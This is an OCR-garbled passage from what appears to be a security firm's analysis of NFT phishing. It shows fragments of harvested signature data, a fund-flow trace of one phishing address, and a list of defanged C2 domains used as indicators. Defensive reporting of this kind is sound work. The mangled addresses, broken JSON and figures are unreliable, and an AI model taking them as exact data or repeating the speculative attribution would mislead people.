{"itemType":2,"token“:"DleEZZdEe]lchbcDCEZEZeZEleaﬁ?5e539935df5","identifierOrCritEria":"2210 ,"startAmount":"1", Endﬂmuunt":"l"},
{“ibemType":1.“token“:'DxcﬂzaaaSQhZ23feBdUaUeSc4f2?ead9083c?56cc2","jdentifierorcriteria":0,"startnmount"‘"16750000000000","endhmount
2022 20:20:01 GMT-0700 (Pacific Daylight Time)

0x2b04a7D475bFa%2aE5C4b6C531DD1IBET 34b43D9E Oxcl8360217d8f7ab5eTc51656676leal2ce7f9d72

0

(Pacific Daylight Time)

O0xDFeBFE20bbbf2e90al5C92DB15b5DEe10823976F 7855217710169181175717177604985439453204406170476599316038775753968820

"0
"token":"0x34d85cYedeb23fadTeb0f333b51lacBielcde258"”  "identifierorCriteria”:"67992", "startAmount” :"1", "endhmount": "1"}

{"signature”:
[{"itemType":2

Since this type of signature request data can be “stored offline”, the hacker can transfer assets on-chain in
batches after obtaining a large amount of signature data from victims.

MistTrack analysis

After analyzing the phishing websites and methods, we chose one of the phishing addresses (0xCOfd...
eOca) for further analysis.

We observed that this address has been flagged as a high-risk phishing address by the MistTrack platform
and has a significant number of transactions. The hacker was able to receive a total of 1,055 NFTs and
made off with a profit of approximately 300 ETH through their sales.

ETH EOA ©
‘ 0xc0fdf4fa92f88b8&2cchebfc80fbedeb7e5a8e0ca (U &

Mulii-Chain:  Ethereum @ ':) A @ (‘3 Q @ @ ° 4 ® ¢ 9

AML Risk Score © & Try Our OpenAPI Overview @ s Data updated seconds ago
Balance Txs count
| 1.0926 ETH | 1999
F en (UTC Last seen (UTC
| gul 26, 02:31 AM | Dec 22, 06:00 AM

| 277.0313 ETH | 280.57 ETH

txn

chainabuse scam reports | 338 | 1661

Suspected malicious address, Phishing
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Holding Value -
ing Valu Bought Sold Gas

00 00 015 ©0.01

50 $1,829 $9

OxcOfd...a8e0ca

0 Following Q Followers Holding NFTs
7
Collection:4
Mint Bought Sold Send Receive Burn
1 9 5 1054 1055 2

Tracing the source of the funds for this address, we found that an initial 4.97 ETH was transferred from the
address (0x2e0a...DA82). Further investigation revealed that this address interacted with other addresses
flagged as risky by MistTrack. It was also shown that 5.7 ETH was transferred to FixedFloat.

c

01164 ETH 0.75/ETH +
Oxact +d0e48 Fake_Phishing6246
0.0871 ETH o
L +
4 0.0928 ETH chainabuse scam reports
Oxb2c...62108
20413 ETH 83ETH .
EB fixedfloat
0ETH 1.5ETH
Uniswap V3. Router 2
fixedfloat
< 0T 20ETH
30ETH
1.1192 ETH
+
0x1b1...853a8 4.7ETH +
0x79d... Tadc8
0.09ETH 10ETH
- 40ETH +
N 0.1892.ETH Ox9e0._ad87c
Ox65c...0e30a
1--ETH
0.6897-ETH

chainabuse scam reports

+

1.0ETH 0xa97..e531c

0.0746 ETH

Let’'s examine the initial source of funds for the address (0x2e0a...DA82), which currently has around 6.5
ETH. The initial funds were sourced from a 1.433 ETH transfer from Binance.

@ Oxdf27e21dc9822417eb... Transfer 14959065 2022-06-14 1:04:29 Binance 20 IN 0Ox2e0afefOce0761823bb... 1.43375 Ether

At the same time, this address also interacted with multiple risky addresses.
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+
Ox1ad.. f3e50 0.1ETH o

+
Fake Phishing7067

1.3593 ETH
+
0x3db.. 33747 00155 ETH
0AETH
+
-
00455 ETH 0x79d.. 7Tadc8
04AETH
+
Oxbc3...e4874 00955 ETH

0.4ETH

+
0.0155 ETH * Oxbc7_..80abg

+ 020 3dag2.
0x0a7_Beef2 o . oo o

0.1702 ETH

+
0.0168 ETH Event: Phishing

49714 ETH

.
Oxdbd..8326a /) 0.ce 1,

+
0x69a_._2546d

.
0x081 cda? [ ) L o

+
0.0168 ETH chainabuse scam reporis

Summary

SlowMist advises users to strengthen their understanding of security knowledge and further enhance their
ability to identify phishing attacks in order to avoid falling victim to such attacks. For additional security
information, we recommend reading the “Blockchain Dark Forest Self-Help Handbook”.

During our tracking, we found that North Korean hackers and Eastern Europe seem to be cooperating to
phishing NFT users. What do you think?

Thanks to and for their support.

Refer

11121 [3] [4]

C2 IOC:https://tothesky[.Jinhttps.//commonj[.]xyzhttps.//thedoodles|.]site
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https://github.com/slowmist/Blockchain-dark-forest-selfguard-handbook/blob/main/README.md

